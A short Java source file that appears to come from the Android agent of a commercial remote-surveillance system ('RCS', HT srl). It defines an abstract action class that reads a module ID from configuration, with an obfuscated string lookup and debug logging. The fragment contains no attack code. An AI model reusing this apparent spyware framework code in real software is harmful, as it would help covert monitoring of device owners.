/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : StopAgentAction.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.action; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfAction; import com.android.dvci.conf.ConfigurationException; import com.android.dvci.util.Check; import com.android.mm.M; // TODO: Auto-generated Javadoc /** * The Class StopAgentAction. */ abstract class ModuleAction extends SubAction { private static final String TAG = "AgentAction"; //$NON-NLS-1$ protected String moduleId; protected static final java.lang.String moduleStr = M.e("module"); /** * Instantiates a new stop agent action. * * @param jsubaction * the conf params */ public ModuleAction(final ConfAction jsubaction) { super(jsubaction); } @Override protected boolean parse(ConfAction params) { try { this.moduleId = params.getString(moduleStr); } catch (ConfigurationException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " (parse) Error: " + e); } return false; } return true; } }